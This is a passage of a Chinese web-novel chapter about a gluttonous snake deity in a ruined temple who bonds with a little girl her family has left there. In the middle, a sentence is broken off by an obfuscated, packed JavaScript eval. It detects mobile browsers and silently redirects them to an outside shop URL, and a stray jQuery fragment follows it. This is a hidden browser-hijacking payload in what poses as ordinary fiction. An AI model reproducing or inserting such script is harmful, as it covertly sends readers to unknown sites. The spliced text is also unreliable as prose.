祂是被一阵极香的气息唤醒的。
梦寐以求的,遥远的过去,在哪些不属于它的凌乱的记忆里,到处都是这种味道。
祂在昏暗里扭曲,来自蛇的本能告诉他,进食是天然的欲望。
好香好香好香好香。
细密的烟弥散在空气里,化成看不见的雾气分子,一阵风吹来,一分不漏的飘到神像后面,被祂全部吞吃干净。
香火,祂的脑子里冒出这么两个字。
伴随香甜气息的,是一个中年人的祈求。
祂扭着身子侧身向前,从神像后露出脑袋,是一个黑黢黢的中年人。
蛇的视力不太好,看不太清楚。
翻开土地老儿给他留下的生死簿,自动就翻到那一页。
赵大牛,归土地婆管,如果祂还在的话。
上完香,他就走了。
祂又回到神像里,继续做祂的白日梦。
肚子还在叫,饿着肚子睡觉的感觉不太好受,祂抬头,只看见了灰蒙蒙的房顶。
睡到一半,又开始吵闹。
祂决定小发雷霆,虽然没什么法力,可是震慑一下还是可以的。
嗯?还是那个人。
祂记得他的气息,不仅如此,祂还看见了同他气息交融的另外两个人。
一个是他的妻子,一个是他的女儿。
他的女儿魂魄不全,缺了一小点。
祂看着他们又收拾了一会儿,叮叮当当的,然后把女儿留下了。
新供奉的祭品吗?
人,神对你很满意。
祂游行过去,尾巴快乐的拍打地面。
又轮到了祂们山神的好时候了吗?
祂仔细打量着,小姑娘已经躲到床上了。
闻起来苦苦的,不是祂喜欢的风味。
不要紧,祂爬上褥子,想更仔细地看一看。
腿上的肉不太多,祂缠着她向前爬。
头往左偏一偏,她也往左偏一偏。头往右动一动,她也往右动一动。
还怪配合的嘞。
祂比量着从哪个位置好下口,尖锐的牙露出来,然后尾巴尖被突然抓住。
嗯?她能看到祂?
然后那块肉被狠狠咬住,罪魁祸首还啃了好几下,最后嫌弃的吐出来。
“臭!”
土地婆,有妖怪!
祂飞快的缩回神像里,抱着尾巴尖哀嚎,又不敢大声哭出来,缩成一个圆滚滚的球,想着吾命休矣。
卿卿睡着了,梦见啃兔腿,但是不好吃,硬得咬不动。
是被香气叫醒的,一个烤红薯两个烤鸡蛋,放在她的枕边,掀开床帘向外望,没有人来过。
祂觉得自己又行了,从前辈给祂流传下来的经验来说,这是个人没错。
一个幸运的,能看见并且触摸祂的人罢了。
祂这次更小心了,顺着墙根溜过去,她在吃些什么?
好香好香好香好香,好像尝一口。
祂悄悄闻了一点她丢下来的皮,甜甜的,好香好香好香。
祂被烤红薯勾得心痒痒,顺着床角的木棍爬上去,对准少女手里的东西,想来口大的。
卿卿也发现了祂,碧绿色的,吐出红色的舌头,眼睛竖成一条线,盯着她的烤红薯。
她把剩下的一口全塞进去,看着祂眼睛里的竖线变圆。
开始剥鸡蛋了,好香好香好香。
祂还是蛇的时候,最喜欢了。
蛇记得每一只遇见过的鸡,如果是母鸡,祂会在草丛里追随它,跟踪他,找到它窝的位置,然后一网打尽。
蛇最多吞过四个,回去的时候,那只讨厌的黄鼠狼笑祂,是个糖葫芦。
糖葫芦是什么?
蛇不知道,不妨碍蛇揍它一顿。
祂会数数,两个,她一个,祂一个,很公平。
人,你可以不用帮神剥壳。
好吧,剥壳也行,但你动作要快点。
你怎么塞你自己嘴里了,另一个是我的吗?
也不是不行。
这个也要剥壳吗?
为什么又塞你嘴里了,混蛋!你跟神抢吃的!
开始咳嗽了?活该,这是你不敬神的惩罚!
脸怎么红了,像秋天成熟的小野果,蛇很饿很饿的时候啃过,然后牙没了。
人,你怎么还在咳,这可不能赖我嗷,你看起来不太好。
天地良心,蛇什么都没干。
要喝水吗?蛇肚子叫唤就喝水。
好像好了点,顺下去了。
我的鸡蛋呢?
也顺下去了!
你抢蛇的蛋!占蛇的窝!你是坏人!
祂气得团团转,一口咬住尾巴尖,恶狠狠地在地上翻滚。
把蛇的蛋给蛇,把蛇的蛋给蛇!
卿卿看着那碧绿色的东西在地上蛄蛹,很想踹祂一脚。
于是就踹了一脚。
好!
祂炸着鳞滚回窝里。
就算她求他,跪在地上磕头,给祂献上一百个蛋,祂也不会原谅她!
卿卿光着脚在庙里走来走去,东西不多,大部分都被赵大牛收走了,只剩几个破瓶子堆在墙角。
卿卿翻了翻,一手的灰。
她不高兴了,手上蒙尘的感觉不好,翻过手心,又看见了剥蛋壳留下的灰。
讨厌的东西。
她从神像后面找到那个绿色的没腿的狗,展示给祂看。
从左边捅咕捅咕,祂就跑到右边,从右边捅咕捅咕,祂就跑到左边。
还怪好玩的诶!
祂打定主意不理她,睡觉!
玩累了,卿卿靠着神像睡着了。
再次醒来,外面传来敲打声。
卿卿走出去,在墙角看见了饭碗。
高粱米水饭,配上干豆角红烧肉,还冒着热气呐。
祂又出来了。
本来可以忍受饥饿,如果不曾.....
你知道的,干豆角红烧肉真的很香。
李秀萍不舍得放油,因此肉里的肥油全被她煎出来了。
焦香的大肉块,闪着油润的光,配上一大口饭。
好香好香好香,祂的哈喇子流出来了。
祂的嘴巴子张的老大,冲到卿卿的眼皮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17518283|202766||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子底下,示意那里面空空如也。
卿卿不理祂,把第二块放进嘴里,嚼嚼嚼。
干豆角是自己家夏天吃不完晒得,特别有嚼劲,卿卿塞进嘴里,有种肉的感觉。
卿卿吃饱了,追着蝴蝶采小花去了。
祂探着身子看向碗底,只看见了几滴咸咸的菜汤。
祂想念土地婆,袖子里藏着的甜甜的糕饼。
那小孩儿又回来了,握着一大把花坐在庙门口的台阶上。
祂也守在那儿,准备和家长谈一谈孩子的教育问题。
天色蒙蒙黑的时候,那个女人过来了。
扔下些什么,坐着驴车很快就跑了。
小孩儿拿着花在后面追,真傻,人哪里有驴跑得快。
果然,跑了几步就从山坡上滚下去,滚成一个球,撞到了棵大树,“嘭”的一声,停在那儿。
女人忙着赶路,很快就没了踪影。
祂游荡者身子向前,死了吗?
不要死在祂家门口啊,小孩儿!
没死,祂又闻到了那种苦苦的味道。
哦,原来是她在哭。
哭的真丑,还打嗝,多大的孩子了,也不怕蛇笑话。
立起身来,已经看不到驴车的踪迹。
好吧,祂了解这个流程。
刚开始天天都来,送吃的,送法器,后来几天来一次,送更多吃的,再后面一个月来一次,来了只是坐坐,陪祂玩一会儿,后来,后来就再没来过。
人,看来你也被抛弃了。
祭品,你苦到蛇了。
祂感受了一下,肚子里只剩那么一点点法力,就吃香火得的那么一点点。
祂调用这么一点点法力,把自己放大几十倍,尾巴的地方设置的格外软一些,沿着小孩儿的身子转圈,慢慢的收缩,让她伏在祂的身体上。
很软,带着在杂草里滚过的青草香,蛇喜欢这个味道。
从今天开始,你就是蛇的了。
蛇带着她在森林里上蹿下跳,偶尔会故意从高高的山坡滑下,在祂还是蛇的时候格外喜欢这样玩儿,祂猜,她可能也会喜欢。
听着肚子上的小姑娘发出没见过世面的惊叹声,祂很矜持地压着上扬的嘴角。
人,蛇让你开心了吗?
祂带着她来到小溪,拖着她的腰让她的脚浸泡在流水里,都是白天疯跑粘上的泥土。
埋了吧汰的,蛇嫌弃。
祂用软绵绵的尾巴抓着她的手浸到溪水里满满的洗,蛇干活是很认真的,一个手指头一个手指头的洗,洗到她柔软的手心,尾巴挠一挠,小姑娘就笑。
终于干净了,尾巴尖向上,摸到了她红彤彤的额头。
轻轻摁了摁,眼看着小姑娘又要掉眼泪了,赶快松开。
祂的法力不够,治不了这个。
没关系,养养就好了,祂有经验。
回到破庙里,蛇的家勉强分你一半。
李秀萍扔下来的是个布包着的黄馒头,里面夹着鸡蛋和咸菜。
真的很香,捡回来还热着呢,示意小孩儿快吃。
祂又变回了那个短短胖胖的模样。